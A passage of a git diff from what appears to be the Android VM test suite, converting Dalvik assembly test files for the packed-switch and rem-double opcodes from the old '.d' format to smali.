+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/packed_switch/d/T_packed_switch_6;
+.super Ljava/lang/Object;
+.source "T_packed_switch_6.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(I)I
+    .registers 5
+
+    packed-switch p0, :pswitch_data_a
+
+    :pswitch_3
+    const/4 v2, -0x1
+
+    return v2
+
+    :pswitch_5
+    const/4 v2, 0x2
+
+    return v2
+
+    :pswitch_7
+    const/16 v2, 0x14
+
+    return v2
+
+    :pswitch_data_a
+    .packed-switch -0x1
+        :pswitch_5 # -1
+        :pswitch_3 #  0
+        :pswitch_3 #  1
+        :pswitch_7 #  2
+        :pswitch_7 #  3
+    .end packed-switch
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_7.d
deleted file mode 100644
index ebf9766..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_7.d
+++ /dev/null
@@ -1,46 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_packed_switch_7.java
-.class public dot.junit.opcodes.packed_switch.d.T_packed_switch_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 5
-       packed-switch v4, -1
-            Label9    ; -1
-            Label6    ; 0
-            Label6    ; 1
-            Label12    ; 2
-            Label12    ; 3
-        packed-switch-end
-Label6:
-       const/4 v2, -1
-       return v2
-Label9:
-       const/4 v2, 2
-       return v2
-Label12:
-       const/16 v2, 20
-       return v2
-
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_7.smali
new file mode 100644
index 0000000..d74601a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_7.smali
@@ -0,0 +1,59 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/packed_switch/d/T_packed_switch_7;
+.super Ljava/lang/Object;
+.source "T_packed_switch_7.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(I)I
+    .registers 5
+
+    packed-switch p1, :pswitch_data_a
+
+    :pswitch_3
+    const/4 v2, -0x1
+
+    return v2
+
+    :pswitch_5
+    const/4 v2, 0x2
+
+    return v2
+
+    :pswitch_7
+    const/16 v2, 0x14
+
+    return v2
+
+    :pswitch_data_a
+    .packed-switch -0x1
+        :pswitch_5 # -1
+        :pswitch_3 #  0
+        :pswitch_3 #  1
+        :pswitch_7 #  2
+        :pswitch_7 #  3
+    .end packed-switch
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_8.d
deleted file mode 100644
index b22771c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_8.d
+++ /dev/null
@@ -1,46 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_packed_switch_8.java
-.class public dot.junit.opcodes.packed_switch.d.T_packed_switch_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 5
-       packed-switch v4, -1
-            Label9    ; -1
-            Label6    ; 0
-            Label6    ; 1
-            Label12    ; 2
-            Label12    ; 3
-        packed-switch-end
-Label6:
-       const v2, -1
-       return v2
-Label9:
-       const v2, 2
-       return v2
-Label12:
-       const v2, 20
-       return v2
-
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_8.smali
new file mode 100644
index 0000000..f74d7d6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_8.smali
@@ -0,0 +1,61 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/packed_switch/d/T_packed_switch_8;
+.super Ljava/lang/Object;
+.source "T_packed_switch_8.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(I)I
+    .registers 5
+
+    packed-switch p1, :pswitch_data_10
+
+    :pswitch_3
+    const v2, -0x1
+
+    return v2
+
+    :pswitch_7
+    const v2, 0x2
+
+    return v2
+
+    :pswitch_b
+    const v2, 0x14
+
+    return v2
+
+    nop
+
+    :pswitch_data_10
+    .packed-switch -0x1
+        :pswitch_7 # -1
+        :pswitch_3 #  0
+        :pswitch_3 #  1
+        :pswitch_b #  2
+        :pswitch_b #  3
+    .end packed-switch
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_9.d
deleted file mode 100644
index 217a917..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_9.d
+++ /dev/null
@@ -1,46 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_packed_switch_9.java
-.class public dot.junit.opcodes.packed_switch.d.T_packed_switch_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 5
-       packed-switch v4, -1
-            Label9    ; -1
-            Label6    ; 0
-            Label6    ; 1
-            Label12    ; 2
-            Label12    ; 3
-       packed-switch-end
-Label6:
-       const/4 v2, -1
-       return v2
-Label9:
-       const/4 v2, 2
-       return v2
-Label12:
-       const/16 v2, 20
-       return v2
-
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_9.smali
new file mode 100644
index 0000000..1dd7bff
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/packed_switch/d/T_packed_switch_9.smali
@@ -0,0 +1,59 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/packed_switch/d/T_packed_switch_9;
+.super Ljava/lang/Object;
+.source "T_packed_switch_9.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(I)I
+    .registers 5
+
+    packed-switch p1, :pswitch_data_a
+
+    :pswitch_3
+    const/4 v2, -0x1
+
+    return v2
+
+    :pswitch_5
+    const/4 v2, 0x2
+
+    return v2
+
+    :pswitch_7
+    const/16 v2, 0x14
+
+    return v2
+
+    :pswitch_data_a
+    .packed-switch -0x1
+        :pswitch_5 # -1
+        :pswitch_3 #  0
+        :pswitch_3 #  1
+        :pswitch_7 #  2
+        :pswitch_7 #  3
+    .end packed-switch
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_1.d
deleted file mode 100644
index 2585be4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_double_1.java
-.class public dot.junit.opcodes.rem_double.d.T_rem_double_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 14
-
-       rem-double v0, v10, v12
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_1.smali
new file mode 100644
index 0000000..9849cf1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_double_1.java"
+.class  public Ldot/junit/opcodes/rem_double/d/T_rem_double_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 14
+
+       rem-double v0, v10, v12
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_2.d
deleted file mode 100644
index bacfdfd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_2.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_double_2.java
-.class public dot.junit.opcodes.rem_double.d.T_rem_double_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 14
-
-       rem-double v0, v12, v14
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_2.smali
new file mode 100644
index 0000000..f7251cc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_2.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_double_2.java"
+.class  public Ldot/junit/opcodes/rem_double/d/T_rem_double_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 14
+
+       rem-double v0, v12, v14
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_3.d
deleted file mode 100644
index 87ce2da..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_double_3.java
-.class public dot.junit.opcodes.rem_double.d.T_rem_double_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FD)D
-.limit regs 14
-
-       rem-double v0, v11, v12
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_3.smali
new file mode 100644
index 0000000..800e093
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_double_3.java"
+.class  public Ldot/junit/opcodes/rem_double/d/T_rem_double_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FD)D
+.registers 14
+
+       rem-double v0, v11, v12
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_4.d
deleted file mode 100644
index b917916..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_double_4.java
-.class public dot.junit.opcodes.rem_double.d.T_rem_double_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JD)D
-.limit regs 14
-
-       rem-double v0, v10, v12
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_4.smali
new file mode 100644
index 0000000..15ba151
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_double_4.java"
+.class  public Ldot/junit/opcodes/rem_double/d/T_rem_double_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)D
+.registers 14
+
+       rem-double v0, v10, v12
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_5.d
deleted file mode 100644
index 6a2a11a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_5.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_rem_double_5.java
-.class public dot.junit.opcodes.rem_double.d.T_rem_double_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 14
-
-       rem-double v0, v9, v12
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_5.smali
new file mode 100644
index 0000000..dbb3845
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_5.smali
@@ -0,0 +1,18 @@
+.source "T_rem_double_5.java"
+.class  public Ldot/junit/opcodes/rem_double/d/T_rem_double_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 14
+
+       rem-double v0, v9, v12
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_6.d
deleted file mode 100644
index 5cb0397..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_double_6.java
-.class public dot.junit.opcodes.rem_double.d.T_rem_double_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DI)D
-.limit regs 14
-
-       rem-double v0, v11, v13
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_6.smali
new file mode 100644
index 0000000..e4bc913
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_double_6.java"
+.class  public Ldot/junit/opcodes/rem_double/d/T_rem_double_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DI)D
+.registers 14
+
+       rem-double v0, v11, v13
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_1.d
deleted file mode 100644
index 898b7db..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_1.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_rem_double_2addr_1.java
-.class public dot.junit.opcodes.rem_double_2addr.d.T_rem_double_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 14
-
-       rem-double/2addr v10, v12
-       return-wide v10
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_1.smali
new file mode 100644
index 0000000..0eeb427
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_1.smali
@@ -0,0 +1,18 @@
+.source "T_rem_double_2addr_1.java"
+.class  public Ldot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 14
+
+       rem-double/2addr v10, v12
+       return-wide v10
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_2.d
deleted file mode 100644
index 923864f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_2.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_rem_double_2addr_2.java
-.class public dot.junit.opcodes.rem_double_2addr.d.T_rem_double_2addr_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 14
-
-       rem-double/2addr v12, v14
-       return-wide v12
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_2.smali
new file mode 100644
index 0000000..95aa8ea
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_2.smali
@@ -0,0 +1,18 @@
+.source "T_rem_double_2addr_2.java"
+.class  public Ldot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 14
+
+       rem-double/2addr v12, v14
+       return-wide v12
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_3.d
deleted file mode 100644
index 5913c80..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_3.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_rem_double_2addr_3.java
-.class public dot.junit.opcodes.rem_double_2addr.d.T_rem_double_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FD)D
-.limit regs 14
-
-       rem-double/2addr v11, v12
-       return-wide v11
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_3.smali
new file mode 100644
index 0000000..b3e64c2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_3.smali
@@ -0,0 +1,18 @@
+.source "T_rem_double_2addr_3.java"
+.class  public Ldot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FD)D
+.registers 14
+
+       rem-double/2addr v11, v12
+       return-wide v11
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_4.d
deleted file mode 100644
index a146daf..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_4.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_rem_double_2addr_4.java
-.class public dot.junit.opcodes.rem_double_2addr.d.T_rem_double_2addr_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JD)D
-.limit regs 14
-
-       rem-double/2addr v10, v12
-       return-wide v10
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_4.smali
new file mode 100644
index 0000000..b4bcd10
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_4.smali
@@ -0,0 +1,18 @@
